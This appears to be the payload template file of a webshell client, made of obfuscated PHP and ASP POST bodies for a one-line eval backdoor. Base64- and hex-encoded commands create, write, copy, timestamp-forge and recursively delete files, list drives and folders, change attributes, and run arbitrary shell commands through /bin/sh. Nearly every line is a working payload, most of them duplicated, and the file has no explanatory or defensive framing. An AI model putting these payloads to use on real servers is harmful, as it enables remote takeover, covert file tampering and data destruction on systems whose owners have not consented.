{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRmPSRtP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTtlY2hvKG1rZGlyKCRmKT8iMSI6IjAiKTs7ZWNobygifDwtIik7ZGllKCk7&z1={PATH}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRmPSRtP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTtlY2hvKG1rZGlyKCRmKT8iMSI6IjAiKTs7ZWNobygifDwtIik7ZGllKCk7&z1={PATH}
{PASS}=@eval/*ÎÒÈ¥ÄãÂîÃ˸ô±Ú*/(${'_P'.'OST'}[z9]/*ÎÒÈ¥ÄãÂîÃ˸ô±Ú*/(${'_POS'.'T'}[z0]));&z0=MTEwMTEzO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7ZWNobyBAZndyaXRlKGZvcGVuKGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKSwidyIpLGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MiJdKSk/IjEiOiIwIjtlY2hvKCJ8PC0iKTs7ZGllKCk7&z1={PATH}&z2={CONTENT}&z9=BaSE64_dEcOdE
{PASS}=@eval/*ÎÒÈ¥ÄãÂîÃ˸ô±Ú*/(${'_P'.'OST'}[z9]/*ÎÒÈ¥ÄãÂîÃ˸ô±Ú*/(${'_POS'.'T'}[z0]));&z0=MTEwMTEzO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7ZWNobyBAZndyaXRlKGZvcGVuKGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKSwidyIpLGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MiJdKSk/IjEiOiIwIjtlY2hvKCJ8PC0iKTs7ZGllKCk7&z1={PATH}&z2={CONTENT}&z9=BaSE64_dEcOdE
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskZlI9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOyRmTD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7JEY9QGZvcGVuKCRmUixjaHIoMTE0KSk7JEw9QGZvcGVuKCRmTCxjaHIoMTE5KSk7aWYoJEYgJiYgJEwpe3doaWxlKCFmZW9mKCRGKSlAZndyaXRlKCRMLEBmZ2V0YygkRikpO0BmY2xvc2UoJEYpO0BmY2xvc2UoJEwpO2VjaG8oIjEiKTt9ZWxzZXtlY2hvKCIwIik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs=&z1={HOST}&z2={PATH}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskZlI9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOyRmTD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7JEY9QGZvcGVuKCRmUixjaHIoMTE0KSk7JEw9QGZvcGVuKCRmTCxjaHIoMTE5KSk7aWYoJEYgJiYgJEwpe3doaWxlKCFmZW9mKCRGKSlAZndyaXRlKCRMLEBmZ2V0YygkRikpO0BmY2xvc2UoJEYpO0BmY2xvc2UoJEwpO2VjaG8oIjEiKTt9ZWxzZXtlY2hvKCIwIik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs=&z1={HOST}&z2={PATH}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRGTj1tP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTskVE09c3RydG90aW1lKG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejIiXSk6JF9QT1NUWyJ6MiJdKTtpZihmaWxlX2V4aXN0cygkRk4pKXtlY2hvKEB0b3VjaCgkRk4sJFRNLCRUTSk/IjEiOiIwIik7fWVsc2V7ZWNobygiMCIpO307O2VjaG8oInw8LSIpO2RpZSgpOw==&z1={PATH}&z2={DATE}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRGTj1tP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTskVE09c3RydG90aW1lKG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejIiXSk6JF9QT1NUWyJ6MiJdKTtpZihmaWxlX2V4aXN0cygkRk4pKXtlY2hvKEB0b3VjaCgkRk4sJFRNLCRUTSk/IjEiOiIwIik7fWVsc2V7ZWNobygiMCIpO307O2VjaG8oInw8LSIpO2RpZSgpOw==&z1={PATH}&z2={DATE}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztmdW5jdGlvbiBkZigkcCl7JG09QGRpcigkcCk7d2hpbGUoQCRmPSRtLT5yZWFkKCkpeyRwZj0kcC4iLyIuJGY7aWYoKGlzX2RpcigkcGYpKSYmKCRmIT0iLiIpJiYoJGYhPSIuLiIpKXtAY2htb2QoJHBmLDA3NzcpO2RmKCRwZik7fWlmKGlzX2ZpbGUoJHBmKSl7QGNobW9kKCRwZiwwNzc3KTtAdW5saW5rKCRwZik7fX0kbS0+Y2xvc2UoKTtAY2htb2QoJHAsMDc3Nyk7cmV0dXJuIEBybWRpcigkcCk7fSRGPWdldF9tYWdpY19xdW90ZXNfZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdO2lmKGlzX2RpcigkRikpZWNobyhkZigkRikpO2Vsc2V7ZWNobyhmaWxlX2V4aXN0cygkRik/QHVubGluaygkRik/IjEiOiIwIjoiMCIpO307ZWNobygifDwtIik7ZGllKCk7&z1={PATH}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztmdW5jdGlvbiBkZigkcCl7JG09QGRpcigkcCk7d2hpbGUoQCRmPSRtLT5yZWFkKCkpeyRwZj0kcC4iLyIuJGY7aWYoKGlzX2RpcigkcGYpKSYmKCRmIT0iLiIpJiYoJGYhPSIuLiIpKXtAY2htb2QoJHBmLDA3NzcpO2RmKCRwZik7fWlmKGlzX2ZpbGUoJHBmKSl7QGNobW9kKCRwZiwwNzc3KTtAdW5saW5rKCRwZik7fX0kbS0+Y2xvc2UoKTtAY2htb2QoJHAsMDc3Nyk7cmV0dXJuIEBybWRpcigkcCk7fSRGPWdldF9tYWdpY19xdW90ZXNfZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdO2lmKGlzX2RpcigkRikpZWNobyhkZigkRikpO2Vsc2V7ZWNobyhmaWxlX2V4aXN0cygkRik/QHVubGluaygkRik/IjEiOiIwIjoiMCIpO307ZWNobygifDwtIik7ZGllKCk7&z1={PATH}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8PC0iKTtkaWUoKTs=&z1={ISLINUX}&z2={CMDSHELL}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8PC0iKTtkaWUoKTs=&z1={ISLINUX}&z2={CMDSHELL}
L2Jpbi9zaA==
L2Jpbi9zaA==
{CMDSHELL}
{CMDSHELL}
{PASS}=@eval(base64_decode($_POST[z0]));&z0={DIYSCRIPT}
{PASS}=@eval(base64_decode($_POST[z0]));&z0={DIYSCRIPT}
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""53463D6264285265717565737428227A312229293A44463D6264285265717565737428227A322229293A5365742066736F3D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420663D66736F2E47657446696C65285346293A662E617474726962757465733D44463A5365742066736F3D4E6F7468696E673A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A53493D2231223A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""53463D6264285265717565737428227A312229293A44463D6264285265717565737428227A322229293A5365742066736F3D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420663D66736F2E47657446696C65285346293A662E617474726962757465733D44463A5365742066736F3D4E6F7468696E673A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A53493D2231223A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""44696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222F22292663687228313234293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""44696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222F22292663687228313234293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""44696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222E22292663687228313234293A533D53265365727665722E4D61707061746828222F22292663687228313234293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""44696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222E22292663687228313234293A533D53265365727665722E4D61707061746828222F22292663687228313234293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""44696D2052523A52523D6264285265717565737428227A312229293A46756E6374696F6E204644286474293A46443D596561722864742926222D223A4966204C656E284D6F6E746828647429293D31205468656E3A4644203D204644262230223A456E642049663A46443D4644264D6F6E74682864742926222D223A4966204C656E2844617928647429293D31205468656E3A46443D4644262230223A456E642049663A46443D464426446179286474292622202226466F726D61744461746554696D652864742C342926223A223A4966204C656E285365636F6E6428647429293D31205468656E3A46443D4644262230223A456E642049663A46443D4644265365636F6E64286474293A456E642046756E6374696F6E3A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420464F3D432E476574466F6C646572282222265252262222293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456C73653A466F722045616368204620696E20464F2E737562666F6C646572733A526573706F6E73652E577269746520462E4E616D65266368722834372926636872283132342926464428462E446174654C6173744D6F64696669656429266368722831323429266368722834382926636872283132342926432E476574466F6C64657228462E50617468292E61747472696275746573266368722831332926636872283130293A4E6578743A466F722045616368204C20696E20464F2E66696C65733A526573706F6E73652E5772697465204C2E4E616D65266368722831323429264644284C2E446174654C6173744D6F64696669656429266368722831323429264C2E73697A6526636872283132342926432E47657446696C65284C2E50617468292E61747472696275746573266368722831332926636872283130293A4E6578743A456E64204966"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""44696D2052523A52523D6264285265717565737428227A312229293A46756E6374696F6E204644286474293A46443D596561722864742926222D223A4966204C656E284D6F6E746828647429293D31205468656E3A4644203D204644262230223A456E642049663A46443D4644264D6F6E74682864742926222D223A4966204C656E2844617928647429293D31205468656E3A46443D4644262230223A456E642049663A46443D464426446179286474292622202226466F726D61744461746554696D652864742C342926223A223A4966204C656E285365636F6E6428647429293D31205468656E3A46443D4644262230223A456E642049663A46443D4644265365636F6E64286474293A456E642046756E6374696F6E3A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420464F3D432E476574466F6C646572282222265252262222293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456C73653A466F722045616368204620696E20464F2E737562666F6C646572733A526573706F6E73652E577269746520462E4E616D65266368722834372926636872283132342926464428462E446174654C6173744D6F64696669656429266368722831323429266368722834382926636872283132342926432E476574466F6C64657228462E50617468292E61747472696275746573266368722831332926636872283130293A4E6578743A466F722045616368204C20696E20464F2E66696C65733A526573706F6E73652E5772697465204C2E4E616D65266368722831323429264644284C2E446174654C6173744D6F64696669656429266368722831323429264C2E73697A6526636872283132342926432E47657446696C65284C2E50617468292E61747472696275746573266368722831332926636872283130293A4E6578743A456E64204966"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""526573706F6E73652E5772697465284372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422292E4F70656E5465787466696C65286264285265717565737428227A312229292C312C46616C7365292E72656164616C6C293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456E64204966"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""526573706F6E73652E5772697465284372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422292E4F70656E5465787466696C65286264285265717565737428227A312229292C312C46616C7365292E72656164616C6C293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456E64204966"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""44696D206C2C73732C66662C543A66663D6264287265717565737428227A312229293A73733D5265717565737428227A3222293A6C3D4C656E287373293A53657420533D5365727665722E4372656174654F626A656374282241646F64622E53747265616D22293A5769746820533A2E547970653D313A2E4D6F64653D333A2E4F70656E3A4966205265717565737428227A3322293E30205468656E3A2E4C6F616446726F6D46696C652022222666662622223A2E506F736974696F6E3D2E53697A653A456E642049663A7365742072733D4372656174654F626A656374282241444F44422E5265636F726473657422293A72732E6669656C64732E617070656E6420226262222C3230352C6C2F323A72732E6F70656E3A72732E6164646E65773A72732822626222293D73732B636872622830293A72732E7570646174653A2E57726974652072732822626222292E6765746368756E6B286C2F32293A72732E636C6F73653A5365742072733D4E6F7468696E673A2E506F736974696F6E3D303A2E53617665546F46696C652022222666662622222C323A2E436C6F73653A456E6420576974683A53657420533D4E6F7468696E673A496620457272205468656E3A543D4572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A543D2231223A456E642049663A526573706F6E73652E5772697465285429"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""44696D206C2C73732C66662C543A66663D6264287265717565737428227A312229293A73733D5265717565737428227A3222293A6C3D4C656E287373293A53657420533D5365727665722E4372656174654F626A656374282241646F64622E53747265616D22293A5769746820533A2E547970653D313A2E4D6F64653D333A2E4F70656E3A4966205265717565737428227A3322293E30205468656E3A2E4C6F616446726F6D46696C652022222666662622223A2E506F736974696F6E3D2E53697A653A456E642049663A7365742072733D4372656174654F626A656374282241444F44422E5265636F726473657422293A72732E6669656C64732E617070656E6420226262222C3230352C6C2F323A72732E6F70656E3A72732E6164646E65773A72732822626222293D73732B636872622830293A72732E7570646174653A2E57726974652072732822626222292E6765746368756E6B286C2F32293A72732E636C6F73653A5365742072733D4E6F7468696E673A2E506F736974696F6E3D303A2E53617665546F46696C652022222666662622222C323A2E436C6F73653A456E6420576974683A53657420533D4E6F7468696E673A496620457272205468656E3A543D4572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A543D2231223A456E642049663A526573706F6E73652E5772697465285429"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20503A503D5265717565737428227A3122293A5365742046533D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046532E466F6C6465724578697374732850293D74727565205468656E3A46532E44656C657465466F6C6465722850293A456C73653A46532E44656C65746546696C652850293A456E642049663A5365742046533D4E6F7468696E673A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A533D2231223A526573706F6E73652E57726974652853293A456E64204966"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20503A503D5265717565737428227A3122293A5365742046533D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046532E466F6C6465724578697374732850293D74727565205468656E3A46532E44656C657465466F6C6465722850293A456C73653A46532E44656C65746546696C652850293A456E642049663A5365742046533D4E6F7468696E673A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A533D2231223A526573706F6E73652E57726974652853293A456E64204966"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""5365742046733D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A46732E437265617465466F6C646572285265717565737428227A312229293A5365742046733D4E6F7468696E673A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A533D2231223A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|
